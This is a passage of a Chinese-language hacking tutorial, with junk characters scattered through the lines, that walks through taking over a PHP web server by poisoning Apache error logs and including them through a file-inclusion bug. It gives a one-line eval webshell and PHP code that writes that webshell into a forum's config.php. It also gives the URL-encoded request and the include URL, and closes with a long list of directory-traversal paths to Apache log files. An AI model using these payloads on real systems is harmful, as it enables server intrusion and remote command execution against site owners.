因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
$ j* l" U' k4 h2 e( H& y
! d" ?) @+ R1 j0 a7 Z7 L9 }7 L6 C2 Q比如还是这句一句话木马 # Q" m6 g, } Q" X' ]
<?eval($_POST[cmd]);?>
' C# F; Y. n. G7 T
: U4 f! O; b y5 w, J到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, # b! F* m, r1 i& `/ O5 D; [
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 P( g5 e: K' q( |/ ` H
7 D2 k- n; v* r; [/ @; O<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 6 G: G8 |% q" o8 y) K" t
fclose($fp);?> //在config.php里写入一句木马语句 \) l; i9 H# [% }
# B3 Z# P) C P
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 2 P) _, ` ?0 F: M, Z
转换为 3 ~% q, P" l* T% M
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F ) I/ h0 \, {/ v, ]
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
: r0 j/ O' j1 ^# V5 U' o. _1 t1 F%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
~. z# J# U. K0 ffclose%28%24fp%29%3B%3F%3E
" `- h, }) N a) x我们提交
$ ]0 N5 q& @% `! L7 i# Fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: E/ Y$ ~/ P+ g%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 3 G% [ ?8 U$ N/ M
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
5 G, d' C8 x7 n5 d3 icmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E " A6 O7 q/ ]8 w6 R6 x- y; M) p
9 m" A% h4 Z9 _
这样就错误日志里就记录下了这行写入webshell的代码。
/ N% L& ~. J$ ~0 B我们再来包含日志,提交 ) n3 N. Z& J4 ~$ m, u% C
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
9 w8 t0 {2 o) P, C* O! i
5 ?) @! {& d) P7 O8 S这样webshell就写入成功了,config.php里就写入一句木马语句
$ |! Z: X2 I( Y2 S: AOK. v- S% \- o0 L" C! F- o$ w
http://www.xxx.com/forum/config.php这个就成了我们的webshell ( ?9 Y F% t+ g
直接用lanker的客户端一连,主机就是你的了。
" w4 K7 @; W. @4 p' b- U: D
% p% ?& `" ?2 Y' S# KPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 " _) g. z: Y9 P3 U+ C
% t$ z/ B$ P" z; P其他的日志路径,你可以去猜,也可以参照这里。 5 {6 @' z& K2 m8 I
../../../../../../../../../../var/log/httpd/access_log / Z8 F0 t, n/ L, [
../../../../../../../../../../var/log/httpd/error_log
, T2 C+ s( b2 T3 U" V1 @../apache/logs/error.log 7 b, q7 B8 s, K; w- e+ E
../apache/logs/access.log
+ h3 s; C5 i+ ?* k% q1 N../../apache/logs/error.log $ d: R5 _# S, S9 c
../../apache/logs/access.log + q4 q/ I# ~+ o6 z
../../../apache/logs/error.log
& I" \4 U! u* i4 j../../../apache/logs/access.log ) Z: }/ k j/ k# C* P: ^3 U
../../../../../../../../../../etc/httpd/logs/acces_log 2 K* ~5 t, b4 B6 l- j
../../../../../../../../../../etc/httpd/logs/acces.log 2 k6 S: q/ `2 Z3 y
../../../../../../../../../../etc/httpd/logs/error_log
" b& u1 [7 E+ ]0 E; M. s# s../../../../../../../../../../etc/httpd/logs/error.log
$ { t4 [1 k, T( K' m8 A J$ r../../../../../../../../../../var/www/logs/access_log
v3 L5 H/ v0 d, u8 x# k../../../../../../../../../../var/www/logs/access.log
& ?: A: t* ]; }9 U../../../../../../../../../../usr/local/apache/logs/access_log
& D, c; }0 i" S# {2 e2 M../../../../../../../../../../usr/local/apache/logs/access.log
# _- c0 {$ Z/ [. o( _9 @; h) e../../../../../../../../../../var/log/apache/access_log , w4 D5 R% x9 K8 b' ` k
../../../../../../../../../../var/log/apache/access.log
o8 u% ^5 s9 \/ @../../../../../../../../../../var/log/access_log
& a' m$ w9 s+ _; I6 U% G$ y../../../../../../../../../../var/www/logs/error_log 3 B( V5 R1 ]: _4 J, u; }
../../../../../../../../../../var/www/logs/error.log ( B9 U2 Y9 U3 L; }3 T
../../../../../../../../../../usr/local/apache/logs/error_log , m6 S$ S7 N- r, W; @' ]) @
../../../../../../../../../../usr/local/apache/logs/error.log 4 _0 d- N% X2 l9 ~8 N" T
../../../../../../../../../../var/log/apache/error_log
7 a3 L) U" C( ?0 {../../../../../../../../../../var/log/apache/error.log ' J- F: P2 o7 e" K. [5 E* o
../../../../../../../../../../var/log/access_log
* n; [ z( _; \../../../../../../../../../../var/log/error_log
/ K" X4 G$ j; E. A0 q5 H/var/log/httpd/access_log 7 B+ @/ f: K9 f# l% E% o& F( Q
/var/log/httpd/error_log 4 c/ T( I0 o: L( h+ C
../apache/logs/error.log
O$ U! ]3 e& @7 b; \( K3 _../apache/logs/access.log ' X( ~! F% c2 Q; e/ p8 l! |
../../apache/logs/error.log 5 o( U& v; Q' s0 m, e# k5 @* Z
../../apache/logs/access.log 1 ~& A$ s! m" t+ c
../../../apache/logs/error.log 1 B! G% x3 R4 j
../../../apache/logs/access.log
7 n' \7 P* x" e1 E; v/etc/httpd/logs/acces_log + x8 W5 ^! W' C; Q' X
/etc/httpd/logs/acces.log
5 s5 v f; j5 E" R; o/etc/httpd/logs/error_log
) A3 T' A$ t& d& P& C2 O0 C/etc/httpd/logs/error.log
( y3 g6 O* \' R+ Y, ?1 z$ [! {/var/www/logs/access_log
4 a5 f+ c) g Q+ o3 X! |% ~$ D/var/www/logs/access.log ! M5 Q: A, I V/ r7 b
/usr/local/apache/logs/access_log % N+ q, D( X3 V& E/ z9 G
/usr/local/apache/logs/access.log 7 n: J. s4 U. U7 M9 [
/var/log/apache/access_log ' B1 O1 y6 g- j4 [8 Z
/var/log/apache/access.log
& P7 X5 `) R) h. T/var/log/access_log 5 c5 E: [1 _! i$ E _( z
/var/www/logs/error_log h9 }( h. l6 y: X/ ~: l
/var/www/logs/error.log 8 s+ z$ v- U! t) q' O ~7 H0 |/ H; c
/usr/local/apache/logs/error_log
8 G1 @/ k( @9 |/usr/local/apache/logs/error.log 3 p& Z$ }' D, M9 |! e4 ~
/var/log/apache/error_log
# L% j9 _4 @$ {- y3 M" f/var/log/apache/error.log
7 z3 h1 S3 h+ ~* B7 O. y9 q/var/log/access_log
: G& ?. N+ v* l7 l, Z/var/log/error_log |